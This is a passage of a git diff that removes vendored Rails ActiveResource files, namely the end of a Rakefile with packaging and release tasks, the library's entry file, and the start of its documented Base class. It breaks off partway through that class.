-PKG_FILES = FileList[
-    "lib/**/*", "test/**/*", "[A-Z]*", "Rakefile"
-].exclude(/\bCVS\b|~$/)
-
-desc "Default Task"
-task :default => [ :test ]
-
-# Run the unit tests
-
-Rake::TestTask.new { |t|
-  activesupport_path = "#{File.dirname(__FILE__)}/../activesupport/lib"
-  t.libs << activesupport_path if File.directory?(activesupport_path)
-  t.libs << "test"
-  t.pattern = 'test/**/*_test.rb'
-  t.verbose = true
-  t.warning = true
-}
-
-
-# Generate the RDoc documentation
-
-RDoc::Task.new { |rdoc|
-  rdoc.rdoc_dir = 'doc'
-  rdoc.title    = "Active Resource -- Object-oriented REST services"
-  rdoc.options << '--line-numbers' << '--inline-source' << '-A cattr_accessor=object'
-  rdoc.options << '--charset' << 'utf-8'
-  rdoc.template = ENV['template'] ? "#{ENV['template']}.rb" : '../doc/template/horo'
-  rdoc.rdoc_files.include('README', 'CHANGELOG')
-  rdoc.rdoc_files.include('lib/**/*.rb')
-  rdoc.rdoc_files.exclude('lib/activeresource.rb')
-}
-
-
-# Create compressed packages
-
-dist_dirs = [ "lib", "test", "examples", "dev-utils" ]
-
-spec = Gem::Specification.new do |s|
-  s.platform = Gem::Platform::RUBY
-  s.name = PKG_NAME
-  s.version = PKG_VERSION
-  s.summary = "Think Active Record for web resources."
-  s.description = %q{Wraps web resources in model classes that can be manipulated through XML over REST.}
-
-  s.files = [ "Rakefile", "README", "CHANGELOG" ]
-  dist_dirs.each do |dir|
-    s.files = s.files + Dir.glob( "#{dir}/**/*" ).delete_if { |item| item.include?( "\.svn" ) }
-  end
-  
-  s.add_dependency('activesupport', '= 2.3.14' + PKG_BUILD)
-
-  s.require_path = 'lib'
-
-  s.extra_rdoc_files = %w( README )
-  s.rdoc_options.concat ['--main',  'README']
-  
-  s.author = "David Heinemeier Hansson"
-  s.email = "david@loudthinking.com"
-  s.homepage = "http://www.rubyonrails.org"
-  s.rubyforge_project = "activeresource"
-end
-  
-Gem::PackageTask.new(spec) do |p|
-  p.gem_spec = spec
-  p.need_tar = true
-  p.need_zip = true
-end
-
-task :lines do
-  lines, codelines, total_lines, total_codelines = 0, 0, 0, 0
-
-  for file_name in FileList["lib/active_resource/**/*.rb"]
-    next if file_name =~ /vendor/
-    f = File.open(file_name)
-
-    while line = f.gets
-      lines += 1
-      next if line =~ /^\s*$/
-      next if line =~ /^\s*#/
-      codelines += 1
-    end
-    puts "L: #{sprintf("%4d", lines)}, LOC #{sprintf("%4d", codelines)} | #{file_name}"
-    
-    total_lines     += lines
-    total_codelines += codelines
-    
-    lines, codelines = 0, 0
-  end
-
-  puts "Total: Lines #{total_lines}, LOC #{total_codelines}"
-end
-
-
-# Publishing ------------------------------------------------------
-
-desc "Publish the beta gem"
-task :pgem => [:package] do 
-  require 'rake/contrib/sshpublisher'
-  Rake::SshFilePublisher.new("gems.rubyonrails.org", "/u/sites/gems/gems", "pkg", "#{PKG_FILE_NAME}.gem").upload
-  `ssh gems.rubyonrails.org '/u/sites/gems/gemupdate.sh'`
-end
-
-desc "Publish the API documentation"
-task :pdoc => [:rdoc] do 
-  require 'rake/contrib/sshpublisher'
-  Rake::SshDirPublisher.new("wrath.rubyonrails.org", "public_html/ar", "doc").upload
-end
-
-desc "Publish the release files to RubyForge."
-task :release => [ :package ] do
-  `rubyforge login`
-
-  for ext in %w( gem tgz zip )
-    release_command = "rubyforge add_release #{PKG_NAME} #{PKG_NAME} 'REL #{PKG_VERSION}' pkg/#{PKG_NAME}-#{PKG_VERSION}.#{ext}"
-    puts release_command
-    system(release_command)
-  end
-end
diff --git a/vendor/rails/activeresource/lib/active_resource.rb b/vendor/rails/activeresource/lib/active_resource.rb
deleted file mode 100644
index db900706..00000000
--- a/vendor/rails/activeresource/lib/active_resource.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-#--
-# Copyright (c) 2006 David Heinemeier Hansson
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#++
-
-begin
-  require 'active_support'
-rescue LoadError
-  activesupport_path = "#{File.dirname(__FILE__)}/../../activesupport/lib"
-  if File.directory?(activesupport_path)
-    $:.unshift activesupport_path
-    require 'active_support'
-  end
-end
-
-require 'active_resource/formats'
-require 'active_resource/base'
-require 'active_resource/validations'
-require 'active_resource/custom_methods'
-
-module ActiveResource
-  Base.class_eval do
-    include Validations
-    include CustomMethods
-  end
-end
diff --git a/vendor/rails/activeresource/lib/active_resource/base.rb b/vendor/rails/activeresource/lib/active_resource/base.rb
deleted file mode 100644
index 94b2322c..00000000
--- a/vendor/rails/activeresource/lib/active_resource/base.rb
+++ /dev/null
@@ -1,1166 +0,0 @@
-require 'active_resource/connection'
-require 'cgi'
-require 'set'
-
-module ActiveResource
-  # ActiveResource::Base is the main class for mapping RESTful resources as models in a Rails application.
-  #
-  # For an outline of what Active Resource is capable of, see link:files/vendor/rails/activeresource/README.html.
-  #
-  # == Automated mapping
-  #
-  # Active Resource objects represent your RESTful resources as manipulatable Ruby objects.  To map resources
-  # to Ruby objects, Active Resource only needs a class name that corresponds to the resource name (e.g., the class
-  # Person maps to the resources people, very similarly to Active Record) and a +site+ value, which holds the
-  # URI of the resources.
-  #
-  #   class Person < ActiveResource::Base
-  #     self.site = "http://api.people.com:3000/"
-  #   end
-  #
-  # Now the Person class is mapped to RESTful resources located at <tt>http://api.people.com:3000/people/</tt>, and
-  # you can now use Active Resource's lifecycles methods to manipulate resources. In the case where you already have
-  # an existing model with the same name as the desired RESTful resource you can set the +element_name+ value.
-  #
-  #   class PersonResource < ActiveResource::Base
-  #     self.site = "http://api.people.com:3000/"
-  #     self.element_name = "person"
-  #   end
-  #
-  #
-  # == Lifecycle methods
-  #
-  # Active Resource exposes methods for creating, finding, updating, and deleting resources
-  # from REST web services.
-  #
-  #   ryan = Person.new(:first => 'Ryan', :last => 'Daigle')
-  #   ryan.save                # => true
-  #   ryan.id                  # => 2
-  #   Person.exists?(ryan.id)  # => true
-  #   ryan.exists?             # => true
-  #
-  #   ryan = Person.find(1)
-  #   # Resource holding our newly created Person object
-  #
-  #   ryan.first = 'Rizzle'
-  #   ryan.save                # => true
-  #
-  #   ryan.destroy             # => true
-  #
-  # As you can see, these are very similar to Active Record's lifecycle methods for database records.
-  # You can read more about each of these methods in their respective documentation.
-  #
-  # === Custom REST methods
-  #
-  # Since simple CRUD/lifecycle methods can't accomplish every task, Active Resource also supports
-  # defining your own custom REST methods. To invoke them, Active Resource provides the <tt>get</tt>,
-  # <tt>post</tt>, <tt>put</tt> and <tt>\delete</tt> methods where you can specify a custom REST method
-  # name to invoke.
-  #
-  #   # POST to the custom 'register' REST method, i.e. POST /people/new/register.xml.
-  #   Person.new(:name => 'Ryan').post(:register)
-  #   # => { :id => 1, :name => 'Ryan', :position => 'Clerk' }
-  #
-  #   # PUT an update by invoking the 'promote' REST method, i.e. PUT /people/1/promote.xml?position=Manager.
-  #   Person.find(1).put(:promote, :position => 'Manager')
-  #   # => { :id => 1, :name => 'Ryan', :position => 'Manager' }
-  #
-  #   # GET all the positions available, i.e. GET /people/positions.xml.
-  #   Person.get(:positions)
-  #   # => [{:name => 'Manager'}, {:name => 'Clerk'}]
-  #
-  #   # DELETE to 'fire' a person, i.e. DELETE /people/1/fire.xml.
-  #   Person.find(1).delete(:fire)
-  #
-  # For more information on using custom REST methods, see the
-  # ActiveResource::CustomMethods documentation.
-  #
-  # == Validations
-  #
-  # You can validate resources client side by overriding validation methods in the base class.
-  #
-  #   class Person < ActiveResource::Base
-  #      self.site = "http://api.people.com:3000/"
-  #      protected
-  #        def validate
-  #          errors.add("last", "has invalid characters") unless last =~ /[a-zA-Z]*/
-  #        end
-  #   end
-  #
-  # See the ActiveResource::Validations documentation for more information.
-  #
-  # == Authentication
-  #
-  # Many REST APIs will require authentication, usually in the form of basic
-  # HTTP authentication.  Authentication can be specified by:
-  #
-  # === HTTP Basic Authentication
-  # * putting the credentials in the URL for the +site+ variable.
-  #
-  #    class Person < ActiveResource::Base
-  #      self.site = "http://ryan:password@api.people.com:3000/"
-  #    end
-  #
-  # * defining +user+ and/or +password+ variables
-  #
-  #    class Person < ActiveResource::Base
-  #      self.site = "http://api.people.com:3000/"
-  #      self.user = "ryan"
-  #      self.password = "password"
-  #    end
-  #
-  # For obvious security reasons, it is probably best if such services are available
-  # over HTTPS.
-  #
-  # Note: Some values cannot be provided in the URL passed to site.  e.g. email addresses
-  # as usernames.  In those situations you should use the separate user and password option.
-  #
-  # === Certificate Authentication
-  #
-  # * End point uses an X509 certificate for authentication. <tt>See ssl_options=</tt> for all options.
-  #
-  #    class Person < ActiveResource::Base
-  #      self.site = "https://secure.api.people.com/"
-  #      self.ssl_options = {:cert         => OpenSSL::X509::Certificate.new(File.open(pem_file))
-  #                          :key          => OpenSSL::PKey::RSA.new(File.open(pem_file)),
-  #                          :ca_path      => "/path/to/OpenSSL/formatted/CA_Certs",
-  #                          :verify_mode  => OpenSSL::SSL::VERIFY_PEER}
-  #    end
-  #
-  # == Errors & Validation
-  #
-  # Error handling and validation is handled in much the same manner as you're used to seeing in
-  # Active Record.  Both the response code in the HTTP response and the body of the response are used to
-  # indicate that an error occurred.
-  #
-  # === Resource errors
-  #
-  # When a GET is requested for a resource that does not exist, the HTTP <tt>404</tt> (Resource Not Found)
-  # response code will be returned from the server which will raise an ActiveResource::ResourceNotFound
-  # exception.
-  #
-  #   # GET http://api.people.com:3000/people/999.xml
-  #   ryan = Person.find(999) # 404, raises ActiveResource::ResourceNotFound
-  #
-  # <tt>404</tt> is just one of the HTTP error response codes that Active Resource will handle with its own exception. The
-  # following HTTP response codes will also result in these exceptions:
-  # 
-  # * 200..399 - Valid response, no exception (other than 301, 302)
-  # * 301, 302 - ActiveResource::Redirection
-  # * 400 - ActiveResource::BadRequest
-  # * 401 - ActiveResource::UnauthorizedAccess
-  # * 403 - ActiveResource::ForbiddenAccess
-  # * 404 - ActiveResource::ResourceNotFound
-  # * 405 - ActiveResource::MethodNotAllowed
-  # * 409 - ActiveResource::ResourceConflict
-  # * 410 - ActiveResource::ResourceGone
-  # * 422 - ActiveResource::ResourceInvalid (rescued by save as validation errors)
-  # * 401..499 - ActiveResource::ClientError
-  # * 500..599 - ActiveResource::ServerError
-  # * Other - ActiveResource::ConnectionError
-  #
-  # These custom exceptions allow you to deal with resource errors more naturally and with more precision
-  # rather than returning a general HTTP error.  For example:
-  #
-  #   begin
-  #     ryan = Person.find(my_id)
-  #   rescue ActiveResource::ResourceNotFound
-  #     redirect_to :action => 'not_found'
-  #   rescue ActiveResource::ResourceConflict, ActiveResource::ResourceInvalid
-  #     redirect_to :action => 'new'
-  #   end
-  #
-  # === Validation errors
-  #
-  # Active Resource supports validations on resources and will return errors if any these validations fail
-  # (e.g., "First name can not be blank" and so on).  These types of errors are denoted in the response by
-  # a response code of <tt>422</tt> and an XML or JSON representation of the validation errors.  The save operation will
-  # then fail (with a <tt>false</tt> return value) and the validation errors can be accessed on the resource in question.
-  #
-  #   ryan = Person.find(1)
-  #   ryan.first # => ''
-  #   ryan.save  # => false
-  #
-  #   # When
-  #   # PUT http://api.people.com:3000/people/1.xml
-  #   # or
-  #   # PUT http://api.people.com:3000/people/1.json
-  #   # is requested with invalid values, the response is:
-  #   #
-  #   # Response (422):
-  #   # <errors type="array"><error>First cannot be empty</error></errors>
-  #   # or
-  #   # {"errors":["First cannot be empty"]}
-  #   #
-  #
-  #   ryan.errors.invalid?(:first)  # => true
-  #   ryan.errors.full_messages     # => ['First cannot be empty']
-  #
-  # Learn more about Active Resource's validation features in the ActiveResource::Validations documentation.
-  #
-  # === Timeouts
-  #
-  # Active Resource relies on HTTP to access RESTful APIs and as such is inherently susceptible to slow or
-  # unresponsive servers. In such cases, your Active Resource method calls could \timeout. You can control the
-  # amount of time before Active Resource times out with the +timeout+ variable.
-  #
-  #   class Person < ActiveResource::Base
-  #     self.site = "http://api.people.com:3000/"
-  #     self.timeout = 5
-  #   end
-  #
-  # This sets the +timeout+ to 5 seconds. You can adjust the +timeout+ to a value suitable for the RESTful API
-  # you are accessing. It is recommended to set this to a reasonably low value to allow your Active Resource
-  # clients (especially if you are using Active Resource in a Rails application) to fail-fast (see
-  # http://en.wikipedia.org/wiki/Fail-fast) rather than cause cascading failures that could incapacitate your
-  # server.
-  #
-  # When a \timeout occurs, an ActiveResource::TimeoutError is raised. You should rescue from
-  # ActiveResource::TimeoutError in your Active Resource method calls.
-  #
-  # Internally, Active Resource relies on Ruby's Net::HTTP library to make HTTP requests. Setting +timeout+
-  # sets the <tt>read_timeout</tt> of the internal Net::HTTP instance to the same value. The default
-  # <tt>read_timeout</tt> is 60 seconds on most Ruby implementations.
-  class Base
-    ##
-    # :singleton-method:
-    # The logger for diagnosing and tracing Active Resource calls.
-    cattr_accessor :logger
-
-    # Controls the top-level behavior of JSON serialization
-    cattr_accessor :include_root_in_json, :instance_writer => false
-
-    class << self
-      # Gets the URI of the REST resources to map for this class.  The site variable is required for
-      # Active Resource's mapping to work.
-      def site
-        # Not using superclass_delegating_reader because don't want subclasses to modify superclass instance
-        #
-        # With superclass_delegating_reader
-        #
-        #   Parent.site = 'http://anonymous@test.com'
-        #   Subclass.site # => 'http://anonymous@test.com'
-        #   Subclass.site.user = 'david'
-        #   Parent.site # => 'http://david@test.com'
-        #
-        # Without superclass_delegating_reader (expected behaviour)
-        #
-        #   Parent.site = 'http://anonymous@test.com'
-        #   Subclass.site # => 'http://anonymous@test.com'
-        #   Subclass.site.user = 'david' # => TypeError: can't modify frozen object
-        #
-        if defined?(@site)
-          @site
-        elsif superclass != Object && superclass.site
-          superclass.site.dup.freeze
-        end
-      end
-
-      # Sets the URI of the REST resources to map for this class to the value in the +site+ argument.
-      # The site variable is required for Active Resource's mapping to work.
-      def site=(site)
-        @connection = nil
-        if site.nil?
-          @site = nil
-        else
-          @site = create_site_uri_from(site)
-          @user = URI.decode(@site.user) if @site.user
-          @password = URI.decode(@site.password) if @site.password
-        end
-      end
-
-      # Gets the \proxy variable if a proxy is required
-      def proxy
-        # Not using superclass_delegating_reader. See +site+ for explanation
-        if defined?(@proxy)
-          @proxy
-        elsif superclass != Object && superclass.proxy
-          superclass.proxy.dup.freeze
-        end
-      end
-
-      # Sets the URI of the http proxy to the value in the +proxy+ argument.
-      def proxy=(proxy)
-        @connection = nil
-        @proxy = proxy.nil? ? nil : create_proxy_uri_from(proxy)
-      end
-
-      # Gets the \user for REST HTTP authentication.
-      def user
-        # Not using superclass_delegating_reader. See +site+ for explanation
-        if defined?(@user)
-          @user
-        elsif superclass != Object && superclass.user
-          superclass.user.dup.freeze
-        end
-      end
-
-      # Sets the \user for REST HTTP authentication.
-      def user=(user)
-        @connection = nil
-        @user = user
-      end
-
-      # Gets the \password for REST HTTP authentication.
-      def password
-        # Not using superclass_delegating_reader. See +site+ for explanation
-        if defined?(@password)
-          @password
-        elsif superclass != Object && superclass.password
-          superclass.password.dup.freeze
-        end
-      end
-
-      # Sets the \password for REST HTTP authentication.
-      def password=(password)
-        @connection = nil
-        @password = password
-      end
-
-      # Sets the format that attributes are sent and received in from a mime type reference:
-      #
-      #   Person.format = :json
-      #   Person.find(1) # => GET /people/1.json
-      #
-      #   Person.format = ActiveResource::Formats::XmlFormat
-      #   Person.find(1) # => GET /people/1.xml
-      #
-      # Default format is <tt>:xml</tt>.
-      def format=(mime_type_reference_or_format)
-        format = mime_type_reference_or_format.is_a?(Symbol) ?
-          ActiveResource::Formats[mime_type_reference_or_format] : mime_type_reference_or_format
-
-        write_inheritable_attribute(:format, format)
-        connection.format = format if site
-      end
-
-      # Returns the current format, default is ActiveResource::Formats::XmlFormat.
-      def format
-        read_inheritable_attribute(:format) || ActiveResource::Formats[:xml]
-      end
-
-      # Sets the number of seconds after which requests to the REST API should time out.
-      def timeout=(timeout)
-        @connection = nil
-        @timeout = timeout
-      end
-
-      # Gets the number of seconds after which requests to the REST API should time out.
-      def timeout
-        if defined?(@timeout)
-          @timeout
-        elsif superclass != Object && superclass.timeout
-          superclass.timeout
-        end
-      end
-
-      # Options that will get applied to an SSL connection.
-      #
-      # * <tt>:key</tt> - An OpenSSL::PKey::RSA or OpenSSL::PKey::DSA object.
-      # * <tt>:cert</tt> - An OpenSSL::X509::Certificate object as client certificate
-      # * <tt>:ca_file</tt> - Path to a CA certification file in PEM format. The file can contrain several CA certificates.
-      # * <tt>:ca_path</tt> - Path of a CA certification directory containing certifications in PEM format.
-      # * <tt>:verify_mode</tt> - Flags for server the certification verification at begining of SSL/TLS session. (OpenSSL::SSL::VERIFY_NONE or OpenSSL::SSL::VERIFY_PEER is acceptable)
-      # * <tt>:verify_callback</tt> - The verify callback for the server certification verification.
-      # * <tt>:verify_depth</tt> - The maximum depth for the certificate chain verification.
-      # * <tt>:cert_store</tt> - OpenSSL::X509::Store to verify peer certificate.
-      # * <tt>:ssl_timeout</tt> -The SSL timeout in seconds.
-      def ssl_options=(opts={})
-        @connection   = nil
-        @ssl_options  = opts
-      end
-
-      # Returns the SSL options hash.
-      def ssl_options
-        if defined?(@ssl_options)
-          @ssl_options
-        elsif superclass != Object && superclass.ssl_options
-          superclass.ssl_options
-        end
-      end
-
-      # An instance of ActiveResource::Connection that is the base \connection to the remote service.
-      # The +refresh+ parameter toggles whether or not the \connection is refreshed at every request
-      # or not (defaults to <tt>false</tt>).
-      def connection(refresh = false)
-        if defined?(@connection) || superclass == Object
-          @connection = Connection.new(site, format) if refresh || @connection.nil?
-          @connection.proxy = proxy if proxy
-          @connection.user = user if user
-          @connection.password = password if password
-          @connection.timeout = timeout if timeout
-          @connection.ssl_options = ssl_options if ssl_options
-          @connection
-        else
-          superclass.connection
-        end
-      end
-
-      def headers
-        @headers ||= {}
-      end
-
-      # Do not include any modules in the default element name. This makes it easier to seclude ARes objects
-      # in a separate namespace without having to set element_name repeatedly.
-      attr_accessor_with_default(:element_name)    { to_s.split("::").last.underscore } #:nodoc:
-
-      attr_accessor_with_default(:collection_name) { element_name.pluralize } #:nodoc:
-      attr_accessor_with_default(:primary_key, 'id') #:nodoc:
-      
-      # Gets the \prefix for a resource's nested URL (e.g., <tt>prefix/collectionname/1.xml</tt>)
-      # This method is regenerated at runtime based on what the \prefix is set to.
-      def prefix(options={})
-        default = site.path
-        default << '/' unless default[-1..-1] == '/'
-        # generate the actual method based on the current site path
-        self.prefix = default
-        prefix(options)
-      end
-
-      # An attribute reader for the source string for the resource path \prefix.  This
-      # method is regenerated at runtime based on what the \prefix is set to.
-      def prefix_source
-        prefix # generate #prefix and #prefix_source methods first
-        prefix_source
-      end
-
-      # Sets the \prefix for a resource's nested URL (e.g., <tt>prefix/collectionname/1.xml</tt>).
-      # Default value is <tt>site.path</tt>.
-      def prefix=(value = '/')
-        # Replace :placeholders with '#{embedded options[:lookups]}'
-        prefix_call = value.gsub(/:\w+/) { |key| "\#{options[#{key}]}" }
-
-        # Clear prefix parameters in case they have been cached
-        @prefix_parameters = nil
-
-        # Redefine the new methods.
-        code, line = <<-end_code, __LINE__ + 1
-          def prefix_source() "#{value}" end
-          def prefix(options={}) "#{prefix_call}" end
-        end_code
-        silence_warnings { instance_eval code, __FILE__, line }
-      rescue
-        logger.error "Couldn't set prefix: #{$!}\n  #{code}"
-        raise
-      end
-
-      alias_method :set_prefix, :prefix=  #:nodoc:
-
-      alias_method :set_element_name, :element_name=  #:nodoc:
-      alias_method :set_collection_name, :collection_name=  #:nodoc:
-
-      # Gets the element path for the given ID in +id+.  If the +query_options+ parameter is omitted, Rails
-      # will split from the \prefix options.
-      #
-      # ==== Options
-      # +prefix_options+ - A \hash to add a \prefix to the request for nested URLs (e.g., <tt>:account_id => 19</tt>
-      #                    would yield a URL like <tt>/accounts/19/purchases.xml</tt>).
-      # +query_options+ - A \hash to add items to the query string for the request.
-      #
-      # ==== Examples
-      #   Post.element_path(1)
-      #   # => /posts/1.xml
-      #
-      #   Comment.element_path(1, :post_id => 5)
-      #   # => /posts/5/comments/1.xml
-      #
-      #   Comment.element_path(1, :post_id => 5, :active => 1)
-      #   # => /posts/5/comments/1.xml?active=1
-      #
-      #   Comment.element_path(1, {:post_id => 5}, {:active => 1})
-      #   # => /posts/5/comments/1.xml?active=1
-      #
-      def element_path(id, prefix_options = {}, query_options = nil)
-        prefix_options, query_options = split_options(prefix_options) if query_options.nil?
-        "#{prefix(prefix_options)}#{collection_name}/#{id}.#{format.extension}#{query_string(query_options)}"
-      end
-
-      # Gets the collection path for the REST resources.  If the +query_options+ parameter is omitted, Rails
-      # will split from the +prefix_options+.
-      #
-      # ==== Options
-      # * +prefix_options+ - A hash to add a prefix to the request for nested URL's (e.g., <tt>:account_id => 19</tt>
-      #   would yield a URL like <tt>/accounts/19/purchases.xml</tt>).
-      # * +query_options+ - A hash to add items to the query string for the request.
-      #
-      # ==== Examples
-      #   Post.collection_path
-      #   # => /posts.xml
-      #
-      #   Comment.collection_path(:post_id => 5)
-      #   # => /posts/5/comments.xml
-      #
-      #   Comment.collection_path(:post_id => 5, :active => 1)
-      #   # => /posts/5/comments.xml?active=1
-      #
-      #   Comment.collection_path({:post_id => 5}, {:active => 1})
-      #   # => /posts/5/comments.xml?active=1
-      #
-      def collection_path(prefix_options = {}, query_options = nil)
-        prefix_options, query_options = split_options(prefix_options) if query_options.nil?
-        "#{prefix(prefix_options)}#{collection_name}.#{format.extension}#{query_string(query_options)}"
-      end
-
-      alias_method :set_primary_key, :primary_key=  #:nodoc:
-
-      # Creates a new resource instance and makes a request to the remote service
-      # that it be saved, making it equivalent to the following simultaneous calls:
-      #
-      #   ryan = Person.new(:first => 'ryan')
-      #   ryan.save
-      #
-      # Returns the newly created resource.  If a failure has occurred an
-      # exception will be raised (see <tt>save</tt>).  If the resource is invalid and
-      # has not been saved then <tt>valid?</tt> will return <tt>false</tt>,
-      # while <tt>new?</tt> will still return <tt>true</tt>.
-      #
-      # ==== Examples
-      #   Person.create(:name => 'Jeremy', :email => 'myname@nospam.com', :enabled => true)
-      #   my_person = Person.find(:first)
-      #   my_person.email # => myname@nospam.com
-      #
-      #   dhh = Person.create(:name => 'David', :email => 'dhh@nospam.com', :enabled => true)
-      #   dhh.valid? # => true
-      #   dhh.new?   # => false
-      #
-      #   # We'll assume that there's a validation that requires the name attribute
-      #   that_guy = Person.create(:name => '', :email => 'thatguy@nospam.com', :enabled => true)
-      #   that_guy.valid? # => false
-      #   that_guy.new?   # => true
-      def create(attributes = {})
-        self.new(attributes).tap { |resource| resource.save }
-      end
-
-      # Core method for finding resources.  Used similarly to Active Record's +find+ method.
-      #
-      # ==== Arguments
-      # The first argument is considered to be the scope of the query.  That is, how many
-      # resources are returned from the request.  It can be one of the following.
-      #
-      # * <tt>:one</tt> - Returns a single resource.
-      # * <tt>:first</tt> - Returns the first resource found.
-      # * <tt>:last</tt> - Returns the last resource found.
-      # * <tt>:all</tt> - Returns every resource that matches the request.
-      #
-      # ==== Options
-      #
-      # * <tt>:from</tt> - Sets the path or custom method that resources will be fetched from.
-      # * <tt>:params</tt> - Sets query and \prefix (nested URL) parameters.
-      #
-      # ==== Examples
-      #   Person.find(1)
-      #   # => GET /people/1.xml
-      #
-      #   Person.find(:all)
-      #   # => GET /people.xml
-      #
-      #   Person.find(:all, :params => { :title => "CEO" })
-      #   # => GET /people.xml?title=CEO
-      #
-      #   Person.find(:first, :from => :managers)
-      #   # => GET /people/managers.xml
-      #
-      #   Person.find(:last, :from => :managers)
-      #   # => GET /people/managers.xml
-      #
-      #   Person.find(:all, :from => "/companies/1/people.xml")
-      #   # => GET /companies/1/people.xml
-      #
-      #   Person.find(:one, :from => :leader)
-      #   # => GET /people/leader.xml
-      #
-      #   Person.find(:all, :from => :developers, :params => { :language => 'ruby' })
-      #   # => GET /people/developers.xml?language=ruby
-      #
-      #   Person.find(:one, :from => "/companies/1/manager.xml")
-      #   # => GET /companies/1/manager.xml
-      #
-      #   StreetAddress.find(1, :params => { :person_id => 1 })
-      #   # => GET /people/1/street_addresses/1.xml
-      def find(*arguments)
-        scope   = arguments.slice!(0)
-        options = arguments.slice!(0) || {}
-
-        case scope
-          when :all   then find_every(options)
-          when :first then find_every(options).first
-          when :last  then find_every(options).last
-          when :one   then find_one(options)
-          else             find_single(scope, options)
-        end
-      end
-
-      # Deletes the resources with the ID in the +id+ parameter.
-      #
-      # ==== Options
-      # All options specify \prefix and query parameters.
-      #
-      # ==== Examples
-      #   Event.delete(2) # sends DELETE /events/2
-      #
-      #   Event.create(:name => 'Free Concert', :location => 'Community Center')
-      #   my_event = Event.find(:first) # let's assume this is event with ID 7
-      #   Event.delete(my_event.id) # sends DELETE /events/7
-      #
-      #   # Let's assume a request to events/5/cancel.xml
-      #   Event.delete(params[:id]) # sends DELETE /events/5
-      def delete(id, options = {})
-        connection.delete(element_path(id, options))
-      end
-
-      # Asserts the existence of a resource, returning <tt>true</tt> if the resource is found.
-      #
-      # ==== Examples
-      #   Note.create(:title => 'Hello, world.', :body => 'Nothing more for now...')
-      #   Note.exists?(1) # => true
-      #
-      #   Note.exists(1349) # => false
-      def exists?(id, options = {})
-        if id
-          prefix_options, query_options = split_options(options[:params])
-          path = element_path(id, prefix_options, query_options)
-          response = connection.head(path, headers)
-          response.code.to_i == 200
-        end
-        # id && !find_single(id, options).nil?
-      rescue ActiveResource::ResourceNotFound, ActiveResource::ResourceGone
-        false
-      end
-
-      private
-        # Find every resource
-        def find_every(options)
-          case from = options[:from]
-          when Symbol
-            instantiate_collection(get(from, options[:params]))
-          when String
-            path = "#{from}#{query_string(options[:params])}"
-            instantiate_collection(connection.get(path, headers) || [])
-          else
-            prefix_options, query_options = split_options(options[:params])
-            path = collection_path(prefix_options, query_options)
-            instantiate_collection( (connection.get(path, headers) || []), prefix_options )
-          end
-        end
-
-        # Find a single resource from a one-off URL
-        def find_one(options)
-          case from = options[:from]
-          when Symbol
-            instantiate_record(get(from, options[:params]))
-          when String
-            path = "#{from}#{query_string(options[:params])}"
-            instantiate_record(connection.get(path, headers))
-          end
-        end
-
-        # Find a single resource from the default URL
-        def find_single(scope, options)
-          prefix_options, query_options = split_options(options[:params])
-          path = element_path(scope, prefix_options, query_options)
-          instantiate_record(connection.get(path, headers), prefix_options)
-        end
-
-        def instantiate_collection(collection, prefix_options = {})
-          collection.collect! { |record| instantiate_record(record, prefix_options) }
-        end
-
-        def instantiate_record(record, prefix_options = {})
-          new(record).tap do |resource|
-            resource.prefix_options = prefix_options
-          end
-        end
-
-
-        # Accepts a URI and creates the site URI from that.
-        def create_site_uri_from(site)
-          site.is_a?(URI) ? site.dup : URI.parse(site)
-        end
-
-        # Accepts a URI and creates the proxy URI from that.
-        def create_proxy_uri_from(proxy)
-          proxy.is_a?(URI) ? proxy.dup : URI.parse(proxy)
-        end
-
-        # contains a set of the current prefix parameters.
-        def prefix_parameters
-          @prefix_parameters ||= prefix_source.scan(/:\w+/).map { |key| key[1..-1].to_sym }.to_set
-        end
-
-        # Builds the query string for the request.
-        def query_string(options)
-          "?#{options.to_query}" unless options.nil? || options.empty?
-        end
-
-        # split an option hash into two hashes, one containing the prefix options,
-        # and the other containing the leftovers.
-        def split_options(options = {})
-          prefix_options, query_options = {}, {}
-
-          (options || {}).each do |key, value|
-            next if key.blank?
-            (prefix_parameters.include?(key.to_sym) ? prefix_options : query_options)[key.to_sym] = value
-          end
-
-          [ prefix_options, query_options ]
-        end
-    end
-
-    attr_accessor :attributes #:nodoc:
-    attr_accessor :prefix_options #:nodoc:
-
-    # Constructor method for \new resources; the optional +attributes+ parameter takes a \hash
-    # of attributes for the \new resource.
-    #
-    # ==== Examples
-    #   my_course = Course.new
-    #   my_course.name = "Western Civilization"
-    #   my_course.lecturer = "Don Trotter"
-    #   my_course.save
-    #
-    #   my_other_course = Course.new(:name => "Philosophy: Reason and Being", :lecturer => "Ralph Cling")
-    #   my_other_course.save
-    def initialize(attributes = {})
-      @attributes     = {}
-      @prefix_options = {}
-      load(attributes)
-    end
-
-    # Returns a \clone of the resource that hasn't been assigned an +id+ yet and
-    # is treated as a \new resource.
-    #
-    #   ryan = Person.find(1)
-    #   not_ryan = ryan.clone
-    #   not_ryan.new?  # => true
-    #
-    # Any active resource member attributes will NOT be cloned, though all other
-    # attributes are.  This is to prevent the conflict between any +prefix_options+
-    # that refer to the original parent resource and the newly cloned parent
-    # resource that does not exist.
-    #
-    #   ryan = Person.find(1)
-    #   ryan.address = StreetAddress.find(1, :person_id => ryan.id)
-    #   ryan.hash = {:not => "an ARes instance"}
-    #
-    #   not_ryan = ryan.clone
-    #   not_ryan.new?            # => true
-    #   not_ryan.address         # => NoMethodError
-    #   not_ryan.hash            # => {:not => "an ARes instance"}
-    def clone
-      # Clone all attributes except the pk and any nested ARes
